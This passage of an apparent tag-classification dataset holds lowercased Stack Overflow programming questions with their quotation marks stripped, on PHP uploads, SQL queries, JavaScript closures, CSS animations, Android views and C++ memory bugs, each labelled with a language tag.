$allowedtypes = array         (              image/jpeg                image/jpg                image/pjpeg                image/pjpeg                image/png                application/x-rar-compressed          );      // ... some more proccses code when submited via ajax ...      // in the end if goes well...     // i want to pass the file array to the other if above.      if (isset($msg) &amp;&amp; !empty($msg))     {        // i insert the file array into session for take the rest of the proccses in above form if.      $_session[ imgfilename ] = array($uploadfilename $_files[ imagebrowse ]);          //if i use here   it will work.        if(@move_uploaded_file($_files[ imagebrowse ][ tmp_name ] $uploadsdirectory.$uploadfilename)){              echo  uploaded! ;             }else{             echo  not uploaded ;             }        //     }     else     {         @unlink($_files[$fileelementname]);      } </code></pre>   as you see i pass the whole file array into session  and call it above in the other if proccses for more proccses  when i using <code>@move_upload_file</code> inside the <code>$proc ==  sendquestionuploadimg </code> it will work perfect and will upload the file   but if i try to use <code>@move_upload_file</code> inside the other if it won t any one know why,php
php update query with syntax error  can anyone tell me why this doesnt work  and returns syntax error please    <pre><code>$sql4 =  update apistreetcheckgeneral           set (bbaveragespeed  bbsuperfastbbavailable  bbcommentary)              values ( $averagespeed    $superfast    $bbcommentary )           where postcode=  .$values[ postcode ].   ; customquery($sql4); </code></pre>,mysql
databases on (primary key & candidat key)  if a table has only one key then we can say that  it is primary key as well as candidate key,sql
c++ write chars into batch file  why does this give error at  %  as incorrect formatted speical character.   <pre><code>ofstream batch; batch.open( c:\tesfile.bat   ios::out); batch &lt;&lt;  @echo off\n ; batch &lt;&lt;  set dir=c:\users\%username%\appdata\ \n ; </code></pre>   also i gave c:\ to create bat file it creates bat file at the app folder (where the app is placed).    please help.,c++
difference between local variables and arguments <pre><code>function addlinks () {    for (var i=0  link; i&lt;5; i++) {          link = document.createelement( a );          link.innerhtml =  link   + i;          link.onclick = function (num) {              return function () {                  alert(num);              };          }(i); }} </code></pre>   a closure is created for each link; each closure has reference to the scope in which it was created. since argument <code>num</code> has been updated on each loop  on <code>click</code> on the first link it should alert <code>4</code>. isn t it,javascript
css fade-in opacity resets after animation  i have this animation  which i have set up like this:   <pre><code>$colors: #360745  #d61c59  #e7d84b  #efeac5  #1b8798;  .text--line {     font-size: .5em;     color: transparent; }  svg {     position: absolute;     width: 100%;     height: 100%;     background: hsl(200 70 11);     background-size: .12em 100%;     font: 16em/1 arial;     z-index: 20000; }  .text-last {     fill: white;     stroke: white;       opacity:0;     animation: fadein ease-in 1;     animation-duration:1s;     animation-delay:3s; }  $max: 5; $stroke-step: 7%;  .text-copy {     fill: none;     stroke: white;     stroke-dasharray: $stroke-step $stroke-step * ($max - 1);     stroke-width: 1px;      animation: stroke-offset 3s 1 linear;      @for $item from 1 through $max {         $stroke-color: nth($colors  $item);          &amp;:nth-child(#{$item}) {             stroke: $stroke-color;             stroke-dashoffset: $stroke-step * $item;         }     } }  @keyframes stroke-offset {   0% {     stroke-dashoffset: $stroke-step * $max;       stroke-dasharray: 0 $stroke-step * $max*2.5;   } }  @keyframes fadein { from { opacity:0; } to { opacity:1; } } </code></pre>   the effects are great  but when my <strong>text-last</strong> gets the the end of the animation  it resets the opacity back to 0. does anyone know how i can stop this from happening     here is a codepen:    <a href= http://codepen.io/r3plica/pen/amqrzz  rel= nofollow >http://codepen.io/r3plica/pen/amqrzz</a>,css
what does  no-ops  mean in javascript  i m looking at <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/scope_cheatsheet  rel= nofollow >mozilla scope cheat sheet</a> and it states:    var   <ul> <li>function-scoped</li> <li>hoist to the top of its function</li> <li>redeclarations of the same name in the same scope are <strong>no-ops</strong></li> </ul>   i can t find any reference to the definition of  no-ops   what does it mean  does it mean  no operation   meaning it doesn t redeclare it  simply changes the value,javascript
c# tic tac toe efficiency  i ve made a tic tac toe in c# but i ve hardcoded some lines so i was wondering if there were more efficient ways of doing things.    so first off  i have an array of pictureboxes   <pre><code>picturebox[] picboxes = new picturebox[num_of_spaces]; </code></pre>   and it s initialized with my pictures   <pre><code>picboxes = new picturebox[] { picbox0  picbox1  picbox2  picbox3  picbox4  picbox5  picbox6  picbox7  picbox8 }; </code></pre>   i was wondering if there was a better way of checking who won using my array of pictureboxes because currently i have    <pre><code>if(picbox0.tag ==  x  &amp;&amp; picbox1.tag ==  x  &amp;&amp; picbox2.tag ==  x )         {             gameover = true;             finalmessage =  x is the winner ;         } </code></pre>   8 times for x and another 8 for o.  so what i was wondering is if there s a better way to check who won using arrays  like comparing the picbox[] to an array of winners or something.,c#
how to save the contents of a custom view  here i have a custom view and i want to save all the vlaues(e.g rightx topx bottomx leftx i etc) when the stop button is clicked.the stop button is in the activity onto which the custom view has been added. custom view:    <pre><code>     public gameview(context context attributeset attrs ) {      super(context attrs);      leftx=0;     topy=60;      bottomy=120;      z= string.valueof(character.tochars(i));      cpaint = new paint();     cpaint.setcolor(color.red);       strt=45;     arc=315;      this.setlayoutparams(new layoutparams(layoutparams.match_parent  layoutparams.match_parent));       // cpaint.setstrokewidth(2);      tpaint = new paint(paint.anti_alias_flag);     tpaint.setstyle(paint.style.fill_and_stroke);     tpaint.setcolor(color.black);     float scale = getresources().getdisplaymetrics().scaleddensity;     tpaint.settextsize(40 * scale);     }       public void start()     {         flag6=true;         if (this.flag2==false)             new drawthread(this);     }      public void stop()     {         //gameview gv=new gameview(this x);          this.flag2=false;     }     public void play(int resid)     {          context context=this.getcontext();         stopplay(context);         mp = mediaplayer.create(context resid);         mp.setlooping(false);         mp.start();     }       public void stopplay(context context)     {         if(mp!=null)         {         mp.stop();         mp.release();         mp=null;         }     }     protected void onmeasure(int widthmeasurespec  int heightmeasurespec) {           parentwidth = measurespec.getsize(widthmeasurespec);         parentheight = measurespec.getsize(heightmeasurespec);         this.setmeasureddimension(                 parentwidth  parentheight);         float a = parentwidth*0.25f;         this.temp=(int)(a);         this.temp1=parentwidth-temp;          this.rightx = (int) (a);         f1=a+30;         this.n1= (int) (f1);       //  this.n1=this.n1+30;         f2=parentheight*0.25f+60;         this.n2=(int)(f2);        // log.d( check   n1=  +n1);        // log.d( check   n2=  +n2);          }    @override    protected void ondraw(canvas canvas) {     // drawing commands go here           oval =new rectf(leftx topy rightx bottomy);      canvas.drawarc(oval  strt  arc  true  cpaint);       while(i&lt;=90)      {       canvas.drawtext(string.valueof(character.tochars(i)) f1 f2  tpaint);       break;      }      log.d( check   top=  +topy);      log.d( check   bottom=  +bottomy);      log.d( check   right=  +rightx);      log.d( check   left=  +leftx);             if(i&gt;=91)      {            canvas.drawtext( congratulations!!!\n  0 parentheight/2 tpaint);      }   }  public boolean ontouchevent(motionevent event)  {      float eventx = event.getx();      float eventy = event.gety();      switch(event.getaction()){      case motionevent.action_down:          dt.begin(eventx eventy);          return true;      case motionevent.action_move:          dt.moving();          return true;       }      return true;  } </code></pre>   after the values are saved i want to load the values again when the continue button is pressed. can i do this using the setpreferences method or there is another way,android
html - avoid new line on hyphen  i read this: <a href= https://stackoverflow.com/questions/1904612/stop-wrapping-of-hyphenated-text >stop wrapping of hyphenated text </a>    but it did not work for me - i set the width of a column in a table to 0 to force it to be as small as the text within. but every time the text includes a hyphen  it breaks a new line after each hyphen - i tried the solution suggested in above thread  but nothing worked.  does anyone know of a way to force content into one row without any line breaks  alternatively  a way to make the column exactly as wide as the text it contains would do the job too.,html
how is it possible to create an information fetcher for a game like league of legends   basically what i m wondering is  how could you get like a list of all mobs  champions their hp  mana etc with programming  i know this is possible because it has been done before but i just can t see how you would be able to do this. is looking in the assembler code necessary or can you do it in some other way  i m mostly wondering about the theory behind it. (using c++ if that helps anything at all),c++
pointer memory allocation in c++ <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; #include &lt;limits.h&gt; #include &lt;stdlib.h&gt;  using namespace std ;  long long numberhouses = 0 ; long long closesthouse[2] = {0 0} ; long long traveltimes = 0 ;  void gethouses(long long numh  long long house_x[]  long long house_y[]) {       for (long long a = 0 ; a &lt; numh ; a++)      {          cin &gt;&gt; house_x[a] ;          cin &gt;&gt; house_y[a] ;      } }  void sortarray(long long numh  long long sortedarray[]  long long housearray[]) {      long long insertpoint = 0 ;        for (int a = 0 ; a &lt; numh ; a++)      {          sortedarray[a] = long_max ;      }       for (int a = 0 ; a &lt; numh ; a++)      {          for (int b = 0 ; b &lt; numh ; b++)          {              if (housearray[a] &lt; sortedarray[b])               {                  insertpoint = b ;                    for (int c = numh ; c &gt; b ; c--)                  {                      sortedarray[c] = sortedarray[c-1] ;                  }                   sortedarray[insertpoint] = housearray[a] ;                  b = numh ;              }          }       } }                   void findmedians(long long numh  int nummeds  long long sortedarray[]  long long mediansarray[]) {      int mediannum = 0 ;       long long *sorted_x = new long long [numh] ;      long long *sorted_y = new long long [numh] ;       mediannum = numh / 2 ;       if (nummeds == 1)      {          mediansarray[0] = sortedarray[mediannum] ;       }      else      {          mediansarray[0] = sortedarray[mediannum] ;          mediansarray[1] = sortedarray[mediannum + 1] ;      } }          void findmidhouse(long long numh  int nummeds  long long cords_x[]  long long cords_y[]  long long meds_x[]  long long meds_y[])  {      long long *closehouses = new long long [numh] ;       long long numpoints = 0 ;      long long lowestmoves = long_max ;       for (int a = 0 ; a &lt; numh ; a++)      {          if (abs(cords_x[a] - meds_x[0]) &gt; abs(cords_x[a] - cords_y[0]))          {              if (abs(cords_x[a] - meds_x[0] &lt;= lowestmoves))              {                  lowestmoves = abs(cords_x[a] - meds_x[0]) ;                  closehouses[a] = a ;                  numpoints++ ;              }          }          else          {              if (abs(cords_y[a] - meds_y[0] &lt;= lowestmoves))              {                  lowestmoves = abs(cords_y[a] - meds_y[0]) ;                  closehouses[a] = a ;                  numpoints++ ;              }          }      }       long long *closehousessums = new long long [numh] ;       for (int a = 0 ; a &lt; numpoints ; a++)      {          for (int b = 0 ; b &lt; numh ; b++)          {              if ((abs(cords_x[closehouses[a]]) - cords_x[b]) &gt; (abs(cords_y[closehouses[a]]) - cords_y[b]))              {                  closehousessums[a] = closehousessums[a] + abs(cords_x[closehouses[a]] - cords_x[b]) ;              }              else              {                  closehousessums[a] = closehousessums[a] + abs(cords_y[closehouses[a]] - cords_y[b]) ;              }          }      }       for (int a = 0 ; a &lt; (numpoints - 1) ; a++)      {          if (closehousessums[a] &lt; closehousessums[a+1])          {              closesthouse[0] = cords_x[closehouses[a]] ;              closesthouse[1] = cords_y[closehouses[a]] ;          }      } }  void getclosesthouse(long long numh  long long house_x[]  long long house_y[]  long long closesthouse[])  {         int medianamt = 0 ;        long long *sorted_x = new long long [numh] ;      long long *sorted_y = new long long [numh] ;      /* long long *sorted_1 = new long long ;//[numh] ;      long long *sorted_a = new long long ;//[numh] ;      long long *sorted_b = new long long ;//[numh] ;      long long *sorted_c = new long long ;//[numh] ;      long long *sorted_d = new long long ;//[numh] ;      long long *sorted_e = new long long ;//[numh] ;      long long *sorted_f = new long long ;//[numh] ;*/        sortarray(numberhouses  sorted_x  house_x) ;      sortarray(numberhouses  sorted_y  house_y) ;       for (int a = 0 ; a &lt; numh ; a++)      {          cout &lt;&lt; sorted_x[a] &lt;&lt;     &lt;&lt; sorted_y[a] &lt;&lt; endl ;      }       if (numh % 2 == 0)      {          medianamt = 1 ;      }      else      {          medianamt = 2 ;      }      cout &lt;&lt; medianamt &lt;&lt; endl ;      cout &lt;&lt;  sun  ;      long long *medians_x = new long long [medianamt] ;      long long *medians_y = new long long [medianamt] ;      cout &lt;&lt;  shine  &lt;&lt; endl ;      findmedians(numberhouses  medianamt  sorted_x  medians_x) ;      findmedians(numberhouses  medianamt  sorted_y  medians_y) ;       findmidhouse(numberhouses  medianamt  house_x  house_y  medians_x  medians_y) ;  }     void gethousedistances(long long numh  long long house_x[]  long long house_y[]  long long closesthouse[]  long long&amp; traveltimes) {        long long difference_x = 0 ;       long long difference_y = 0 ;         for (int a = 0 ; a &lt; numh ; a++)       {           difference_x = abs(closesthouse[0] - house_x[a]) ;                difference_y = abs(closesthouse[1] - house_y[a]) ;            //cout &lt;&lt; difference_x &lt;&lt;   - difference_x  &lt;&lt; endl ;           //cout &lt;&lt; difference_y &lt;&lt;   - difference_y  &lt;&lt; endl ;            if (difference_x &gt; difference_y)           {               traveltimes = traveltimes + difference_x ;           }           else           {               traveltimes = traveltimes + difference_y ;           }          }       //cout &lt;&lt; traveltimes &lt;&lt; endl ; }                                   int main() {      cin &gt;&gt; numberhouses ;       long long *house_x = new long long [numberhouses] ; // x coordinate of houses      long long *house_y = new long long [numberhouses] ; // y coordinate of houses       gethouses(numberhouses  house_x  house_y) ;      getclosesthouse(numberhouses  house_x  house_y  closesthouse) ;         gethousedistances(numberhouses  house_x  house_y  closesthouse  traveltimes) ;       cout &lt;&lt; traveltimes &lt;&lt; endl ; } </code></pre>   now - you ll notice that i have a huge commented out section of code of other arrays being created similarly - my code works when i have those uncommented - but when i comment them it crashes after outputting  sun  but before  shine .     i have tried using other arguments for the length of memory to create - eg medianamt  and this includes other variables and actual numbers. i have also tried using a long long variable as an argument as well.    i am not sure why it doesn t work - and if you would like for me to provide any more information about my code or situation i will do my best to answer them - thanks for the help.    edit: i run the executable and it gets to  sun  and then it freezes - it can take a second or two before it goes unresponsive and closes. numh can be up to long long max amount - 64 bits i don t know where i freed any memory - i am a relatively novice programmer - and no error message was given. i was thinking it was a heap corruption problem as well - but why would adding in all of the extra long long arrays above that i have commented out cause it to not crash      i can post the rest of my source code - but it s 200 lines long and a probably a tad messy - would this be beneficial     edit 2: as for heap corruption i have my ide and program saved on my flashdrive - but have tried to run it on two different computers - so i think it s safe to assume that the heap isn t corrupted. maybe an invalid pointer to the memory is the problem  can the ide affect where my pointer would go to choose the memory      edit 3: i run windows 7 on both machines that i have tried running.    edit 4: updated to have my full source code..,c++
rails carmen country_select helper without a form object  my form is not tied to a particular model and looks like this:   <pre><code>&lt;%= form_tag(:controller =&gt;  orders    :action =&gt;  process_credit_card ) do  %&gt;     ... bunch of fields ... &lt;% end %&gt; </code></pre>   <a href= https://github.com/jim/carmen-rails  rel= nofollow >carmen-rails</a>  <code>country_select</code> helper looks like this   <pre><code> &lt;%= f.country_select :country_code  {priority: %w(us ca)}  prompt:  please select a country  %&gt; </code></pre>   however i do not have a form object <code>f</code>  i use helpers like <code>&lt;%= text_field_tag  billing_address[phone]  %&gt;</code> to create my form  is there a way i can still use carmen in this form     update: i am using activemerchant for payment processing  i can create a form with <code>form_for</code> instead of <code>form_tag</code> but i don t know how  any pointers will be appreciated.,ruby-on-rails
sql select all in combined one-to-one table  i have three sql tables.   <pre><code>table a a.id a.name a.type  table b b.id b.name b.type  table c c.id c.parent_id (contains the id from either a.id or b.id) </code></pre>  <ul> <li>every record in table a has a one-to-one corresponding record in table c</li> <li>every record in table b has a one-to-one corresponding record in table c</li> </ul>   the problem:   <pre><code>i want to select all records from table c and get back: c.id the name of the parent (either a.name or b.name) the type of the parent (either a.type or b.type) </code></pre>   any suggestions for an effective way to do this,sql
page flipping component for website  i would like to incorporate a descent pdf viewer like this:    <a href= http://viewer.zmags.com/showmag.php magid=174428#/page18/  rel= nofollow noreferrer >http://viewer.zmags.com/showmag.php magid=174428#/page18/</a>    for my website in order to view my pdfs.    how can i achieve this,.net
no visible @interface for  detailviewcontroller  declares the selector  setitem:   i am trying to create a drill-down interface and pass the data between my two controllers.     once i implement my method  it keep get me this error   <pre><code>no visible @interface for detailviewcontroller declares the selector  setitem  </code></pre>   i did the property on one of my controller  and i imported the controller to the other one.     am i doing something wrong    <pre><code>- (void)tableview:(uitableview *)atableview didselectrowatindexpath:(nsindexpath*)indexpath {  detailviewcontroller *detailviewcontroller = [[detailviewcontroller alloc] init];  nsarray *items = [[sbaccitemstore sharedstore] allitems]; peopleitem *selecteditem = [items objectatindex:[indexpath row]];   //no visible @interface for  detailviewcontroller  declares the selector  setitem:  [detailviewcontroller setitem:selecteditem];  [[self navigationcontroller] pushviewcontroller:detailviewcontroller animated:yes];  } </code></pre>   i have a property <code>people *item</code> in deatailcontroller  i also import it in <code>itemviewcontroller</code>.,objective-c
linearlayout and gesturedetector  i m trying to figure out  if it s possible to use <code>gesturedetector</code> for <code>linearlayout</code> or just <code>scrollevent</code>     any examples,android
increasing memory while creating index in mysql  i have already 300gb data into table. i want to add indexing to a perticlar column but when adding index on a column then increase the memory of drive(or increase the size of ibdata file). this process is apply to another table but memory is not increase.    below is query to add indexing  create index index_name on table (column),mysql
shadow is not visible while using with ecslidingcontroller  i m using <code>ecslidingcontroller</code> in my ios application. i ve already checked requirements and demo. ecslidingcontroller working as how i wanted  but still couldnt add any shadow for view.     here what i did  this is base view controller (<code>detailviewcontroller</code> is an uiviewcontroller)  which will be trigger sliding view and its name <code>detailcontextviewcontroller</code> (left or right does not matter at all):   <pre><code>-(void)viewwillappear:(bool)animated {     [super viewwillappear:animated];      self.view.layer.shadowopacity = 0.75f;     self.view.layer.shadowradius = 10.0f;     self.view.layer.shadowcolor = [uicolor blackcolor].cgcolor;      if (![self.slidingviewcontroller.underrightviewcontroller iskindofclass:[detailcontextviewcontroller class]]) {         self.slidingviewcontroller.underrightviewcontroller  = [self.storyboard instantiateviewcontrollerwithidentifier:@ detailabout ];     } } </code></pre>   and here is detailcontextviewcontroller (this is an uiviewcontroller too):   <pre><code>- (void)viewdidload {     [super viewdidload];     self.peekleftamount = 40.0f;     [self.slidingviewcontroller setanchorleftpeekamount:self.peekleftamount];     self.slidingviewcontroller.underrightwidthlayout = ecvariablerevealwidth; } </code></pre>   i ve already added <code>quartcore.h</code> and checked tabbar s attributes  i.e clip subviews is <code>false</code>. i ve also tried shadow with <code>tableview</code>  so changed self.view.layer with self.tableview.layer and couldnt set the shadow again.    is there anything wrong      any help would be great.,ios
getting nzec error in python after submitting below code to calculate intersection of circles  can someone suggest me the changes  it is giving correct output in my local machine but not in hacker earth site!! i read previous posts on nzec error but i couldn t make it anything      <pre><code>import math print ( enter no of test cases ) n = int(input())  while(n!=0):     print( no of circles )     p = int(input()) `#p number of circles from each coordinate with p radius`     print( enter 1st point co-ordinates )     a_x =int(input())     a_y =int(input())     print( enter 2nd point co-ordinates )     b_x = int(input())     b_y= int(input())     print( enter radii of  1st person )     a_r b_r=[] []     i j=0 0     print( radii of 1st person )     while(i&lt;p):         a_r.append(int(input()))         i+=1     print( radii of 2nd person )     while(j&lt;p):         b_r.append(int(input()))         j+=1     n-=1     print( lets find the area of intersection of circles )     a_min = min(a_r)     b_min = min(b_r)     d = ((a_x-b_x)**2+(a_y-b_y)**2)**1/2     #case1      if (d&lt;=a_min - b_min):         area = 3.14*(b_min)**2     elif (d&lt;=b_min - a_min):         area = 3.14*(a_min)**2     elif(d&gt;=a_min+b_min):         area = 0      else:         alpha = math.acos((a_min*a_min + d*d - b_min*b_min)/(2*a_min*d))          beta  = math.acos((b_min*b_min + d*d - a_min*a_min)/(2*b_min*d))         area  = a_min*a_min*( alpha - 0.5*math.sin(2*alpha) ) + b_min*b_min*( beta-0.5*math.sin(2*beta) )     print(area)  it is giving correct output in my local machine but not in hacker earth site!! </code></pre>   i read previous posts on nzec error but i couldn t make it anything,python
couldn t find user without an id (devise user model)  i am new to rails. i have a devise user model. i am trying to get an input from user and compare it with a string and redirect to another page if same. but there is some problem with @user. it will be a simple problem but i am stuck for hours. please help.    questions_controller   <pre><code>class questionscontroller &lt; applicationcontroller  def qn1   @user = user.find_by_email(params[:email]) end  def submit   @user = user.find_by_email(params[:user])   if @user.answer ==  blank      render root_path   else     render  qn1    end end end </code></pre>   qn1.html.erb   <pre><code>&lt;%= form_for(@user  :url =&gt; {:controller =&gt;  questions   :action =&gt;  submit }) do |f| %&gt;    &lt;%= f.label :answer %&gt;   &lt;%= f.text_field :answer %&gt;    &lt;br&gt;   &lt;%= f.submit  submit   class:  btn btn-large btn-primary  %&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
android hotspot listening socket  my app opens an http socket to accept some files from user s browser  so it needs wifi on for that. what i think would be cool if the app could continue doing that in wifi hotspot mode (tethering ) however i can t obtain the android s ip address to start listening on. is it possible at all,android
selecting rows which do not exist for a specific user  i have 4 tables (users config fields availablefields)    user s relevant schema is   <pre><code>userid uniqueidentifier not null primary_key </code></pre>   config s relevant schema is   <pre><code>configid uniqueidentifier not null primary key userid uniqueidentifier not null foreign key (user.userid) </code></pre>   field s relevant schema is   <pre><code>fieldid uniqueidentifier not null primary key availablefieldid uniqueidentifier not null foreign key (availablefields.availablefieldsid) configid uniqueidentifier not null foreign key (config.configid) </code></pre>   availablefields relevant schema is   <pre><code>availablefieldid uniqueidentifier not null primary key </code></pre>   i am trying to return all of the available fields for a specific user which they do not have in their fields table.    is there a way to do this with a join      i cannot see a way as the only link between the template availablefields table is availablefieldid which is a foreign key inside fields table.,sql
tracking user s actions in a business application  the company i work for is redesigning our application in .net. our application is sold using the software as a service model.    we track all of our users actions in the software for reporting purposes (searching for things  downloading assets  completing forms  what is associated with the form they are creating  snap shot of the user s profile and details upon login  etc). previously we had written a very robust tracking logic to complete all these details in our old application.     before i complete this initial redesign in the .net application i wanted to know if anyone has recommendations of off the shelf tracking solutions or open source tracking systems they have implemented in the past that are fairly robust.    <strong>additional details</strong>: we have a lot of custom data (specific to our application) that needs to be tracked and our application is only accessed via company intranet sites so details on where people are coming from is not needed as we already know this.    i am planning on tracking page hits so a user s visit can be recreated if necessary.    edit (11/20/2009): there does not appear to be exactly an off the shelf solution to fit my problem but i ll be updating this question with a design and direction we are going to implement in the next couple of weeks. so if you are interested in what happened with this question then check back soon.,.net
how to initiate nsarray with objects passed by method with variable argument list  is it possible to do that this way:   <pre><code>- (void) setlist:(id) firstobj ... {     va_list args;     va_start(args firstobj);     list = [[nsarray alloc] initwithobjects:args]; // compile error     va_end(args); } </code></pre>,objective-c
unhandled exception with file.move - file already exists  i m facing a challenge with an app doing some process then it moves a file to a new directory. it is working fine  but if a file with the same name is found  i get an unhandled exception.    i do not want to overwrite the file if it already exists  and i don t want to give users a message. if the file already exists i want to move the file to newdirectory and rename the file with a different name.    the solutions i try never catch the unhandled exception.   <pre><code>string newdirectory = (@ d:\files\edited\ ); directory.createdirectory(newdirectory); string seconds = datetime.now.tostring( -ss ); string newname =  example txt  +  -2.2- ; string fullpath = (newdirectory + newname +  .txt );  if (file.exists(fullpath)) {     file.move(file  newdirectory + newname + seconds +  .txt );     console.writeline(newname + seconds); } else     file.move(file  newdirectory + newname +  .txt );  console.writeline(newname); </code></pre>   <a href= https://i.stack.imgur.com/ogepa.png  rel= nofollow noreferrer >screenshot for exception</a>,c#
tic-toe-program loop not closing  my problem is when ever the winning conditions are met instead of ending the program it goes back to the loop which decides if a position is taken or not. i tried it without the four breaks and it did not work either.   <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {     int a b c d e f g h i x y winning repeat q r;      int array[3][3] = {{a b c} {d e f} {g h i}};      winning=6;  for(q = 0;q&lt;=2;q++) {       for(r = 0;r&lt;=2;r++)             {               array[q][r]=0;               cout &lt;&lt;  row:   &lt;&lt; q &lt;&lt;  column:   &lt;&lt; r &lt;&lt;  value:   &lt;&lt; array[q][r] &lt;&lt; endl;              } }   while (winning = 6)     {   cout &lt;&lt;  player 1 row:  ;   cin &gt;&gt; x;    cout &lt;&lt;  player 1 column:  ;   cin &gt;&gt; y;    cout &lt;&lt;     &lt;&lt; endl;    if (array[x][y] != 0 )   {   repeat=1;            while (repeat=1)            {            cout &lt;&lt;  that row is taken:  ;             cout &lt;&lt;  player 1 row:  ;            cin &gt;&gt; x;             cout &lt;&lt;  player 1 column:  ;            cin &gt;&gt; y;             cout &lt;&lt;     &lt;&lt; endl;             if (array[x][y] == 0)            {               repeat=0;             }             }    }    array[x][y] = 1;   cout &lt;&lt; array[x][y];      cout &lt;&lt;  player 2 row:  ;   cin &gt;&gt; x;    cout &lt;&lt;  player 2 column:  ;   cin &gt;&gt; y;    cout &lt;&lt;     &lt;&lt; endl;    if (array[x][y] != 0 )   {   repeat=1;            while (repeat=1)            {            cout &lt;&lt;  that row is taken:   &lt;&lt; endl;             cout &lt;&lt;  player 2 row:  ;            cin &gt;&gt; x;             cout &lt;&lt;  player 2 column:  ;            cin &gt;&gt; y;             cout &lt;&lt;     &lt;&lt; endl;             if (array[x][y] == 0)            {               repeat=0;             }             }    }    array[x][y] = 2;    if (array[0][0] != 0)   {   if (array[0][1] != 0)   {   if (array[0][0] == array[0][1])   {      if (array[0][1] == array[0][2])      {      winning=array[0][0];      break;      break;      break;      break;       }    }   }   }    if (array[1][0] != 0)   {   if (array[1][1] != 0)   {         if (array[1][0] == array[1][1])   {      if (array[1][1] == array[1][2])      {      winning=array[1][0];      break;      break;      break;      break;      }    }   }   }    if (array[1][0] != 0)   {   if (array[1][1] != 0)   {              if (array[2][0] == array[2][1])   {      if (array[2][1] == array[2][2])      {      winning=array[2][0];       break;      break;      break;      break;      }    }     if (array[0][0] == array[1][0])   {      if (array[1][0] == array[2][0])      {      winning=array[0][0];       break;      break;      break;      break;      }    }   }   }    if (array[1][0] != 0)   {   if (array[1][1] != 0)   {        if (array[0][1] == array[1][1])   {      if (array[1][1] == array[2][1])      {      winning=array[0][1];       break;      break;      break;      break;      }    }   }   }    if (array[1][0] != 0)   {   if (array[1][1] != 0)   {        if (array[0][2] == array[1][2])   {      if (array[1][2] == array[2][2])      {      winning=array[0][2];       break;      break;      break;      break;      }    }   }   }    if (array[1][0] != 0)   {   if (array[1][1] != 0)   {        if (array[0][1] == array[1][1])   {      if (array[1][1] == array[2][2])      {      winning=array[0][1];       break;      break;      break;      break;      }    }   }   }    if (array[1][0] != 0)   {   if (array[1][1] != 0)   {        if (array[0][2] == array[1][1])   {      if (array[1][1] == array[2][2])      {      winning=array[0][2];       break;      break;      break;      break;      }    }   }   }     } cin.ignore(); cin.get(); } </code></pre>,c++
running a .net application without .net framework <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/953146/running-net-based-application-without-net-framework >running .net based application without .net framework</a>    </blockquote>   how can i run a .net application without .net framework,.net
straightforward way to verify uniqueness of an ienumerable elements  having a simple <code>ienumerable</code> of <code>integer</code> values  what s the simpler way to verify that all elements are unique,.net
c11 implicit conversion of chars  x % y  in c11    <pre class= lang-c prettyprint-override ><code>char foo(char x  char y) {     return x % y; } </code></pre>   is any implicit conversion (e.g. promotion to int) done anywhere,c
three char month and culture matching in javascript  i have a multi cultural website  where i allow users to enter values in a dd-mmm-yyyy format. i am able to determine the different values based upon their culture in c# (may  english = may  german = mai)     the problem i am having is the javascript validation of these months. i am able to build the list of acceptable values:    english:   <pre><code>^jan$|^feb$|^mar$|^apr$|^may$|^jun$|^jul$|^aug$|^sep$|^oct$|^nov$|^dec$ </code></pre>   german:   <pre><code>^jan$|^feb$|^mrz$|^apr$|^mai$|^jun$|^jul$|^aug$|^sep$|^okt$|^nov$|^dez$ </code></pre>   i just want to make this regular expression case insensitive. but all the references i see are all pointing me to the /gi flag  but i all of the examples make no sense. i have tried the following and it just doesn t work:   <pre><code>var shouldmatch =  may ; var regexpattern =  ^jan$|^feb$|^mar$|^apr$|^may$|^jun$|^jul$|^aug$|^sep$|^oct$|^nov$|^dec$/gi  if(shouldmatch.match(regexpattern) != null) {     //this should happen } </code></pre>   what am i doing wrong  the regex help out there for javascript is killing me.,javascript
iphone - using the current quartz context from a thread  i have a quartz context declared in the main loop as   <pre><code>uigraphicsbeginimagecontext(mysize); ctx = uigraphicsgetcurrentcontext(); // bla bla bla </code></pre>   this context is changing  as the user is doing stuff on the screen.    at some point in the app i need a new thread to be fired and grab what the context has  saving to a uiimageview.     on the thread i have something like   <pre><code>myimageview.image = uigraphicsgetimagefromcurrentimagecontext(); </code></pre>   but this is giving me nil  as the thread is not able to know that the current context is.    how do i solve that     thanks.,iphone
keep image faded when rollover text/link  <a href= http://jsfiddle.net/l43ec/  rel= nofollow >http://jsfiddle.net/l43ec/</a> trying keep image faded when rollover on text/link   <pre><code>&lt;div class= overlay &gt;   &lt;div id= hover &gt;&lt;/div&gt; &lt;/div&gt;  &lt;div class= pic_info &gt;&lt;a href= # &gt;blah&lt;/a&gt;&lt;/div&gt;    $( .overlay  #hover_small ).on( mouseenter   function() {     $(this).find( #hover  .overlay_small  .pic_info ).stop().animate({opacity: 0}  function() {     $( .pic_info ).fadein();   }); });  $( .overlay  #hover_small ).on( mouseleave   function() {     $( .pic_info ).fadeout(300);     $(this).find( #hover  .pic_info ).stop().delay(100).animate({opacity: 1 }  function()     {   }); }); </code></pre>,jquery
sizeof struct and sizeof instance variable return different values  i m working with a c api in objective-c. this api needs to use some specific structures.  i have some problems trying to figure out how to work with arrays of structure.     i show you something more with some code:     i have the class <code>sprite</code> where i define the struct <code>vertex</code>.  every instance of sprite has its own array of vertices.   <pre><code>#import &lt;foundation/foundation.h&gt;    typedef struct {     float position[3];     float color[4]; } vertex;  @interface sprite : nsobject{     vertex *_vertices; }  //getter setter methods  -(void)setvertices:(vertex*)vx; -(vertex*)vertices; @end </code></pre>   in another class i use the sprite class in this way: i create a vertex array and i assign this struct to one instance of sprite:     <pre><code>sprite *spr = [[sprite alloc]init];  vertex vertices2[] = {     {{1  -1  0}  {1  0  0  1}}      {{1  1  0}  {1  0  0  1}}      {{-1  1  0}  {1  1  0  1}}      {{-1  -1  0}  {1  1  0  1}} };  spr.vertices = vertices2; </code></pre>   now if i perform <code>sizeof</code> directly on the <code>vertices2</code> struct i get the value <code>112</code> and  performing <code>sizeof</code> on <code>spr.vertices</code> i get <code>4</code>. why    i mean this is the same struct with the same values.     my doubt is that i m working with array[] and with pointer* in the wrong way...    how can i modify the sprite class to use array of struct the correct way,objective-c
